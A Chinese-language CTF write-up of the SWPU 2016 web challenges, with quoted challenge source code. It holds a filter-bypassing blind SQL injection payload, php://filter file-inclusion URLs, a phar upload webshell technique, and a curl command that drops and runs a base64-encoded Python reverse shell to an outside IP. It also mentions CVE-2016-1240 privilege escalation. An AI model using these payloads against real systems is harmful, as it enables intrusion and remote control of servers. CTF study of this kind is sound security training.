SWPU 2016 web 部分思路整理

本來早就該發了,一直以爲上週發過了。。。

事前吐槽下把,不知道是校網的原因還是服務器的原因,我用校園網連不上比賽服務器,

掛上代理之後能夠連上但是又很不方便做題,加上vps有點問題什麼的,也就瞬間沒了慾望。

整理下一些題的思路把。

由於連不上服務器,python腳本也寫不了,所以有些題就只有思路,也不算wp。

加上我個人對題目的理解和分析,由於沒有實際做題,如果有問題希望大家指正

web 50

源碼裏面拿到flag

web 200-1

一個什麼流量監控系統,在響應頭裏面拿到base64編碼的tips,如下:


$query="SELECT * FROM admin WHERE uname='".$uname."'";

if ($row['passwd']===$passwd)

{

$_SESSION['flag'] = 1;

過濾了很多,空格、#、*、union、、and、or、|、+,–、&、%0a、%0b、%0c、%0d等等,也就沒法用聯合查詢來繞過什麼的,也就直接轉想盲注把。

這裏我們很容易發現問題所在,並且可以利用來進行盲注

這裏寫圖片描述
這裏寫圖片描述

觀察上面兩張圖返回完全不一樣的答案,所以寫個腳本就能猜解出passwd了

這裏腳本我就懶得寫了。沒有VPS懶得代理了。

web 200-2

也是懶得解決代理問題,

簡單掃一下發現存在備份文件。index.php.bak如下:


if(isset($_COOKIE['user']))

{ $login = @unserialize(base64_decode($_COOKIE['user'])); 

if(!empty($login->pass)){ 

    $status = $login->check_login(); 

    if($status == 1){

        $_SESSION['login'] = 1; 

        var_dump("login by cookie!!!"); 

    }

 }

 }

感覺少了些什麼,不過肯定是個反序列化漏洞,肯定還有其他文件,換個再掃一下發現了一個function.php,而且也是有備份文件的function.php.bak,太多不貼代碼了。

就是一個反序列化構造,繞過checksql()函數,然後還是因爲網絡原因暫時沒法兒用burp,也懶得下其他瀏覽器插件來改cookie,也就沒有實際做這道題。

由於最近恰好在做代碼審計,發現這個過濾感覺挺像80sec-ids的過濾,剛看完不久

附鏈接:http://www.cheery.win/?p=119可以用單撇號來bypass。

PS:正常的80sec-ids最初的匹配是


if(preg_match('/[^0-9a-z@._-]{1,}(union|sleep|benchmark|load_file|outfile)[^[email protected]]{1,}/', $sql))
{
$this->DisplayError("$sql||SelectBreak",1);
}

但是本題的是:




if ($querytype == 'select') {

            $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";

            if (preg_match("/".$notallow1."/i", $db_string)) {

                exit("Error");

            }

        }

所以猜測這裏多半會用sleep、benchmark什麼的把。

接下來這裏我結合自己分析下這個改版的80sec-ids把。

首先第一部分


if ($querytype == 'select') {

            $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";

            if (preg_match("/".$notallow1."/i", $db_string)) {

                exit("Error");

            }

        } 

這裏過濾select語句的一些特殊語法,不過這裏沒有直接過濾sleepbenchmark,所以就有機會bypass。

接下來就是關鍵部分


while (TRUE) {

            $pos = strpos($db_string, '\'', $pos + 1);

            if ($pos === FALSE) {

                break;

            }

            $clean.= substr($db_string, $old_pos, $pos - $old_pos);

            while (TRUE) {

                $pos1 = strpos($db_string, '\'', $pos + 1);

                $pos2 = strpos($db_string, '\\', $pos + 1);

                if ($pos1 === FALSE) {

                    break;

                }

                elseif($pos2 == FALSE || $pos2 > $pos1) {

                    $pos = $pos1;

                    break;

                }

                $pos = $pos2 + 1;

            }

            $clean.= '$s$';

            $old_pos = $pos + 1;

        }

這裏通過匹配 確定提取出每兩個單引號直接的內容,並且將其中的內容通過 substr()函數截斷下來,再將剩下來的語句進行匹配,所以只要我們將我們需要的語句藏在 兩個單引號之間就OK了

簡單的說就是如下圖所示,我輸入第一行,然後被一通操作搞成第二行的樣子然後進行接下來的過濾。

這裏寫圖片描述

也就是說,下述的過濾代碼都是對第二行這樣子的進行過濾,所以我們就可以把我們的東西藏在單引號裏面來bypass


        if (strpos($clean, '@') !== FALSE OR strpos($clean, 'char(') !== FALSE OR strpos($clean, '"') !== FALSE OR strpos($clean, '$s$$s$') !== FALSE) {

            $fail = TRUE;

            if (preg_match("#^create table#i", $clean)) $fail = FALSE;

            $error = "unusual character";

        }

        elseif(strpos($clean, '/*') !== FALSE || strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE) {

            $fail = TRUE;

            $error = "comment detect";

        }

        elseif(strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0) {

            $fail = TRUE;

            $error = "slown down detect";

        }

        elseif(strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0) {

            $fail = TRUE;

            $error = "slown down detect";

        }

        elseif(strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0) {

            $fail = TRUE;

            $error = "file fun detect";

        }

        elseif(strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0) {

            $fail = TRUE;

            $error = "file fun detect";

        }

所以總的來說我們這裏肯定是利用sleep進行bool盲注,所以就需要把sleep藏在兩個單引號之間。

再簡單的說,下面兩個句子的效果是一樣的。


select `'`.``.passwd from admin;   

select passwd from admin;

但是利用上面的句子我們可以bypass掉過濾,這樣我們就可以構造sql語句進行爆破了,給個poc如下:


admin' and (select 1 from flag where ascii(substring(flag,1,1))=30) and (`'`.``.flag=1 or sleep(5)) #

另外我們還要注意一個地方,

login()函數,如果我們想要搞定這個,就需要把裏面的__wakeup給pass掉,我之前分析過這個漏洞,

鏈接:http://blog.csdn.net/qq_19876131/article/details/52890854

所以綜上就可以做題了。具體就沒操作了,要是分析的有問題希望大家指正

web 100 和web 200-3

文件包含,這裏注意它會在你的輸入後面強制加上.php,所以通過php://filter讀源碼的時候要注意下


http://web2.08067.me/include.php?file=php://filter/convert.base64-encode/resource=upload

http://web2.08067.me/include.php?file=php://filter/convert.base64-encode/resource=include

拿到include.php如下:


<html>

Tips: the parameter is file! :)

<!-- upload.php -->

</html>

<?php

    @$file = $_GET["file"];

    if(isset($file))

    {

        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)

        {

            echo "<p> error! </p>";

        }

        else

        {

            include($file.'.php');

        }

    }

?>

然後upload.php如下:


<form action="" enctype="multipart/form-data" method="post"

name="upload">file:<input type="file" name="file" /><br>

<input type="submit" value="upload" /></form>



<?php

if(!empty($_FILES["file"]))

{

    echo $_FILE["file"];

    $allowedExts = array("gif", "jpeg", "jpg", "png");

    @$temp = explode(".", $_FILES["file"]["name"]);

    $extension = end($temp);

    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")

    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")

    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))

    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))

    {

        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);

        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];

    }

    else

    {

        echo "upload failed!";

    }

}

?>

觀察這裏用白名單來過濾,那麼想到僞協議什麼的,吧一句話寫到一個php裏面,壓縮成zip,再改名上傳,用zip或是phar包含應該就可以了,

注意這裏一句話的傳參數不能用get(好吧估計也就我個人喜歡用GET)。

具體操作就是

創建一個bendawang.php,寫入一句話,然後壓縮成bdw.zip,該後綴爲bdw.jpg,上傳,然後訪問http://web2.08067.me/include.php?file=phar://upload/bdw.jpg/bendawang,如下:

這裏寫圖片描述

這裏寫圖片描述

拿到flag並且拿到下一個tip,

利用webshell先反彈個shell好操作一些,再執行如下代碼,往我自己的vps上彈一個shell。


curl -d "a=%24f%3Dfopen%28%22%2ftmp%2fa.py%22%2C%22wb%22%29%3Bfwrite%28%24f%2Cbase64_decode%28%22aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwNC4xNjAuNDMuMTU0Iiw1NTU1NSkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7%22%29%29%3B%0Afclose%28%24f%29%3Bsystem%28%22python%20%2ftmp%2fa.py%22%29%3B" "http://web2.08067.me/include.php?file=phar://upload/bdw.jpg/bendawang"

根據tomcat加root那麼都不用想肯定是提權,那就是最近的CVE-2016-1240了。

freebuf上有poc,但是這裏要注意需要的是tomcat的用戶才能提權,現在已經有www-date的shell了,往tomcat目錄下寫個jsp馬

如下,沒用自己的電腦做所以臨時找的比較挫不過沒事:

這裏寫圖片描述

接下來就是回連,以及執行poc,由於網速太渣和服務器太渣,實在是太慢了,後續工作就沒有做了。

web 300

一個明顯的ssrf,file:///etc/issue讀到是centos,然後查看網卡信息/etc/sysconfig/network-scripts/ifcfg-eth0,如下:

這裏寫圖片描述

寫個腳本跑下發現172.16.181.166開着80端口,根據回顯應該就是這個ip了,

然後在那字典跑目錄,發現存在一個/admin目錄

這裏寫圖片描述

下面還有個login.php


<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></head><body class="signin">

    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">

    <title>wllmctf管理中心</title> 

            <form method="post" action=wllmctf_login.php>

                <h4 class="no-margins">後臺登錄</h4>

                <input type="text" class="form-control uname" id="user" name="username" placeholder="用戶名">

                <input type="password" class="form-control pword m-b" name="password" placeholder="密碼">

                <button id="submit" name="submit" class="btn btn-success btn-block">登錄</button>

            </form>

<!-- Mirrored from www.zi-han.net/theme/hplus/login_v2.html by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 20 Jan 2016 14:19:52 GMT -->

</body></html>

web 400

進入網頁折騰半天沒什麼收穫,然後掃了下目錄發現個web.zip,裏面有源碼,代碼審計。

首先看common.php,重點這部分

這裏寫圖片描述

把傳參直接搞成變量,必然存在變量覆蓋問題。

但是找找可用的變量,只有在riji.php下面,有一個$id變量,


<?php

require_once("common.php");
session_start();

if (@$_SESSION['login'] !== 1)
{
   header('Location:/web/index.php');
  exit();
}
if($_SESSION['user'])
{
  $username = $_SESSION['user'];
  @mysql_conn();
  $sql = "select * from user where name='$username'";
  $result = @mysql_fetch_array(mysql_query($sql));
  mysql_close();
  if($result['userid'])
  {
     $id = intval($result['userid']);
  }
}
else
{
  exit();
}
?>
<!DOCTYPE HTML>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>日記系統</title>
<meta name="keywords" content="日記系統" />
<meta name="description" content="" />
<link rel="stylesheet" href="css/index.css"/>
<link rel="stylesheet" href="css/style.css"/>
<link rel="stylesheet" href="css/animate.css"/>
<script type="text/javascript" src="js/jquery1.42.min.js"></script>
<script type="text/javascript" src="js/jquery.SuperSlide.2.1.1.js"></script>
<!--[if lt IE 9]>
<script src="js/html5.js"></script>
<![endif]-->
</head>

<body>
     <!--header start-->
   <div id="header">
     <h1>日記系統</h1>
     <p>一個給小美的日記系統</p>    
   </div>
    <!--header end-->
   <!--nav-->
    <div id="nav">
        <ul>
        <li><a href="index.php">登陸</a></li>
      <li><a href="forget.php">找回密碼</a></li>
        <li><a href="riji.php">個人日記</a></li>
        <li><a href="guestbook.php">寫日記</a></li>
      <li><a href="logoff.php?off=1">註銷</a></li>
        <div class="clear"></div>
       </ul>
     </div>
      <!--nav end-->
   <!--content start-->
   <div id="content">
      <!--left-->
        <div class="left" id="riji">
          <div class="weizi">
          <div class="wz_text">當前位置:<a href="#">首頁</a>><h1>個人日記</h1></div>
          </div>
          <div class="rj_content">
           <?php
           @mysql_conn();
           $sql1 = "select * from msg where userid= $id order by id";
           $query = mysql_query($sql1);
           $result1 = array();
           while($temp=mysql_fetch_assoc($query)) {
              $result1[]=$temp;
           }
           mysql_close();
           foreach($result1 as $x=>$o)
           {
              echo display($o['msg']);
           }
           ?>

          </div>
        </div>
   </div>
</body>
</html>

但是我們觀察第一部分代碼,既然我們要覆蓋,那麼我們就不能讓$result['userid']有值,但是我們還要必須保證$_SESSION['user']有值,不然就會exit,這裏問題就是,我們如何做到沒有這個用戶但還要保留這個用戶的$session,這裏沒有用到的api.php就起到作用了。


<?php

require_once("common.php");
session_start();

if (@$_SESSION['login'] === 1){
   header('Location:/web/riji.php');
  exit();
}
class admin {
  var $name;
  var $check;
  var $data;
  var $method;
  var $userid;
  var $msgid;

  function check(){
     $username = addslashes($this->name);//�������ݿ�����ݽ���ת��
     @mysql_conn();
     $sql = "select * from user where name='$username'";
     $result = @mysql_fetch_array(mysql_query($sql));
     mysql_close();
     if(!empty($result)){
        //���� salt ��֤�Ƿ�Ϊ���û�
        if($this->check === md5($result['salt'] . $this->data . $username)){
           echo '(=-=)!!';
           if($result['role'] == 1){//����Ƿ�Ϊadmin�û�
              return 1;
           }
           else{
              return 0;
           }
        }
        else{
           return 0;
        }
     }
     else{
        return 0;
     }
  }

  function do_method(){
     if($this->check() === 1){
        if($this->method === 'del_msg'){
           $this->del_msg();
        }
        elseif($this->method === 'del_user'){
           $this->del_user();
        }
        else{
           exit();
        }
     }
  }

  function del_msg(){
     if($this->msgid)
     {
        $msg_id = intval($this->msgid);//��ע��
        @mysql_conn();
        $sql1 = "DELETE FROM msg where id='$msg_id'";
        if(mysql_query($sql1)){
           echo('<script>alert("Delete message success!!")</script>');
           exit();
        }
        else{
           echo('<script>alert("Delete message wrong!!")</script>');
           exit();
        }
        mysql_close();
     }
     else{
        echo('<script>alert("Check Your msg_id!!")</script>');
        exit();
     }
  }

  function del_user(){
     if($this->userid){
        $user_id = intval($this->userid);//��ע��
        if($user_id == 1){
           echo('<script>alert("Admin can\'t delete!!")</script>');
           exit();
        }
        @mysql_conn();
              $sql2 = "DELETE FROM user where userid='$user_id'";
        if(mysql_query($sql2)){
           echo('<script>alert("Delete user success!!")</script>');
           exit();
        }
        else{
           echo('<script>alert("Delete user wrong!!")</script>');
           exit();
        }

        mysql_close();
     }
     else{
        echo('<script>alert("Check Your user_id!!")</script>');
        exit();
     }
  }
}

$a = unserialize(base64_decode($api));
$a->do_method();
?>

非常明顯的反序列化注入,而且正好能夠刪除用戶,加上代碼裏面沒有地方銷燬session,那麼正好是我們所想要達到的目標。

但是我們看看代碼,有一個check()函數被調用了,如果能夠繞過就很方便了,看看函數,重點部分:


if($this->check === md5($result['salt'] . $this->data . $username)){
           echo '(=-=)!!';
           if($result['role'] == 1){//����Ƿ�Ϊadmin�û�
              return 1;
           }
           else{
              return 0;
           }

這裏需要獲取$salt,但是我們看看index.php

這裏寫圖片描述

所以全部都在cookie裏面了,所以接下來就可以刪除用戶了,然後到達覆蓋變量id的目的,從而完成注入。由於沒有實際做題,所以後續的做法也不知道,就只能分析到這裏了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章